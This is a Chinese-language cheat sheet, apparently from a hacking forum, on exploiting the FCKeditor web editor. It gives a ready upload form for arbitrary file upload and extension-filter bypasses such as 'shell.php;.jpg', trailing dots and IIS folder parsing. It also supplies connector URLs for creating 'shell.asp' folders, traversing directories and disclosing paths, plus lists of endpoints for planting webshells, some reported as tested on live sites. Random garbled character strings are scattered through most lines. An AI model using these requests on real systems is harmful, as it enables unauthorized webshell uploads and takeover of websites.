Fckeditor漏洞利用总结 * M) ^ s/ v: K8 |( I7 }
查看编辑器版本
5 B1 C3 p$ }+ ]FCKeditor/_whatsnew.html
5 E; \* @" v6 H8 T8 }) F—————————————————————————————————————————————————————————————
`" x3 y8 U4 b" ~" Z) T
8 V$ T: X6 B& o* M9 m2. Version 2.2 版本$ P3 A% T9 L) T
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
$ e9 E' D4 F/ }/ y: C. y ]—————————————————————————————————————————————————————————————
5 [ \- l* h5 p( P% ~$ ~
3 B) o1 z) b7 V% m6 @! ?: v3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
* D) y/ g3 n5 t8 D! @' V/ b% P7 [# u<form id="frmUpload" enctype="multipart/form-data"
* c) G7 g! v+ F( G+ `" Faction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>7 i( ?# o6 c# h
<input type="file" name="NewFile" size="50"><br>
: I2 ]& u/ N* ?9 Y1 m; B6 w<input id="btnUpload" type="submit" value="Upload">: k7 r$ Y6 Y* [8 Y5 T8 s
</form>1 ^; e7 \% t" f
—————————————————————————————————————————————————————————————
S# m2 B2 c, Z+ u R5 A) O/ Y7 u1 d2 d2 H& F( ?% D
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
0 `. U& K7 M* x: O% l4 D, j 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。, V1 \' g4 ?0 E& {
4.1:提交shell.php+空格绕过; S/ @0 J6 t7 Q' `9 ?8 W8 Y
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。6 i; c8 s6 p4 I: p# S' i7 A5 l8 W' B
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。! U+ w- @, ]4 b T/ H$ n% |
—————————————————————————————————————————————————————————————
8 R8 ?& j7 Y' X) F" V2 R& ?
6 m% n. K5 L! t5. 突破建立文件夹
* f, T6 N; @: U8 \5 |, d& tFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
' C1 a5 @+ d. r2 N: wFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp; c8 c5 r" W5 Q7 n
—————————————————————————————————————————————————————————————& |$ t+ c8 Y* O3 s6 d8 `, F
# {; j9 N% g. T+ H& E6. FCKeditor 中test 文件的上传地址- ^2 f$ s% P3 h4 O8 H/ ?# m( n
FCKeditor/editor/filemanager/browser/default/connectors/test.html4 N& Y+ T2 h# b ?/ q" g' g
FCKeditor/editor/filemanager/upload/test.html
C& g, P! }: R- J5 kFCKeditor/editor/filemanager/connectors/test.html
' C2 T! d" n; UFCKeditor/editor/filemanager/connectors/uploadtest.html
' ^6 y9 k0 q8 _1 w/ L+ Z—————————————————————————————————————————————————————————————
. G' `4 r. ?5 k( A0 q/ W6 G6 f! X/ u; v% v, Q
7.常用上传地址2 [" R* L: T- v. E) B7 g0 |
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/( D0 g' O* x* I1 E
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp3 `$ r" H6 T, h# a7 [( c
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
& ]: y/ A: a2 ^9 z& q- PJSP 版:
8 d" X0 R) u2 E5 [. w0 j& nFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp: F8 O. s& e/ ?* Q' E' L
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文% L' Q9 M: _9 k' Q4 G2 L/ b
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
{" X4 I; y: n& G ~; I$ F—————————————————————————————————————————————————————————————
: c: w& G& J! V" k6 B0 A1 m: v8 s1 i4 K' f- i& y6 n
8.其他上传地址9 e% k/ P* A4 b$ _) T1 `1 m+ {- Y
FCKeditor/_samples/default.html4 j4 o1 d9 o; s( d8 E# F
FCKeditor/_samples/asp/sample01.asp
, m6 M$ y8 `* O5 sFCKeditor/_samples/asp/sample02.asp
$ o& q) T2 H( _ ?* ~- v& }: zFCKeditor/_samples/asp/sample03.asp
6 A, P: v5 t4 p4 Q6 jFCKeditor/_samples/asp/sample04.asp
& Z: a# g p- F) d: D" C6 n一般很多站点都已删除_samples 目录,可以试试。3 i. t3 i! k: f0 e4 w
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。6 y5 A/ l Z3 p4 O
—————————————————————————————————————————————————————————————
2 U' s3 M" G+ G/ u
$ N; [! l, r. B$ G+ x& p9.列目录漏洞也可助找上传地址
; _; w! z) m* B; P6 a8 U2 h# r4 G* dVersion 2.4.1 测试通过( E; E4 a+ \' l9 H( D( Z- k
修改CurrentFolder 参数使用 ../../来进入不同的目录
: `% M+ X6 Y _$ i, {/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp& l E5 j2 Q5 c X% X2 h; |. B
根据返回的XML 信息可以查看网站所有的目录。
3 _. c& G( s7 z# }( S# A& ~FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F9 l: Z/ l+ V1 W/ h K$ G) j
也可以直接浏览盘符:% e! Z; ~! M3 y2 t/ a$ k V
JSP 版本:2 X) Y1 I/ W4 c
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F- @; _- k* A( }3 K/ u W
—————————————————————————————————————————————————————————————" E/ m6 p0 P- Y6 m
% A" H* l8 ^! W, K
10.爆路径漏洞8 s. C1 w6 T2 P2 U
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp q. Q* W! s! w9 R, D
—————————————————————————————————————————————————————————————: @9 g. l' W1 j7 W- J
6 P: V9 V, w% y r9 j
11. FCKeditor 被动限制策略所导致的过滤不严问题2 Q, ~. F2 O; e# L
影响版本: FCKeditor x.x <= FCKeditor v2.4.3. i8 i3 G" ]. _/ R) i+ r
脆弱描述:
; j+ e4 B" B: o1 |' D+ gFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
5 `3 W2 ?" D8 S L- J( ~html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
# Q& I4 n2 ~! j' _Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]! B# Z6 U* o& o$ l# p; G4 p& d
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
$ A6 L+ B1 E8 m 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!; U: ]2 m, S! P/ O% y1 \$ a2 ~
—————————————————————————————————————————————————————————————
0 a" a3 A& R( l3 ^* `9 Y, F3 v9 F0 c9 Z( a, s
12.最古老的漏洞,Type文件没有限制!
& P0 O/ P2 K8 Y+ e3 b) s/ F# H 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! ) l2 _. p4 R* {- `& o2 c
—————————————————————————————————————————————————————————————) p4 p, g8 r" F' f5 f
6 @, E/ g! t8 l! X1 _
===============================================================================================================================================
9 F- l2 p% o% ^6 R2 w& \5 v$ l, ^3 }) f% H, y7 m
FCK编辑器jsp版本漏洞:
6 z& |2 C) t, L: C& Z
* ]- \5 m7 T2 F( K
! @3 Z0 M' _: o/ y$ q8 ^) Chttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F8 S4 Q0 e2 r4 o) z1 u# c, d
- V7 t* I2 e0 {; G8 ^2 f: X
上传马所在目录6 Z! b3 _1 s1 t
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
* I* b: w' t9 c/ `( \ J$ F* s上传shell的地址:
7 I1 u; K# G* r h+ lhttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector3 y+ |3 x& C) h) w# K
跟版本有关系.并不是百分百成功. 测试成功几个站.
# T& u! s/ G1 x不能通杀.很遗憾.) {% r, v. X2 S$ w; {5 F
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
' g# b# N' n+ U/ c% O0 e如果以上地址不行可以试试
% C4 H! o8 A& L4 o% ~( V$ DFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
1 R' h" \& [- f4 F. ?FCKeditor/_samples/# R+ w! D) F6 Y b
FCKeditor/_samples/default.html
; G+ b5 \: H! g, M2 LFCKeditor/editor/fckeditor.htm' O6 @8 @% ^# f5 o9 V! {' e0 h
FCKeditor/editor/fckdialog.html
9 p( S3 b0 x- e& P: f; `
5 v0 E; E) u; F
; \7 H2 z1 f. Q- p8 Y& x7 {5 _9 u% o* |+ ]. ?
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
4 M9 H9 f- m# B( M |